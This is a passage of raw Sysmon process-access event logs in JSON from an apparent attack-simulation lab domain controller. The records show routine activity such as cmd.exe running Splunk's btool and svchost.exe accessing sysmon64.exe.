AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-3FE8-5F2D-0000-0010B03D0300}","ParentProcessId":"3320","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1937,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FE8-5F2D-0000-0010B03D0300}\r\nSourceProcessId: 3320\r\nSourceThreadId: 4032\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-00106C3E0300}\r\nTargetProcessId: 4024\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FE8-5F2D-0000-0010B03D0300}","SourceProcessId":"3320","SourceThreadId":"4032","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-00106C3E0300}","TargetProcessId":"4024","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1938,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-00106C3E0300}\r\nTargetProcessId: 4024\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-00106C3E0300}","TargetProcessId":"4024","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1939,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1940,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1941,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1942,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1943,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1944,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1945,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 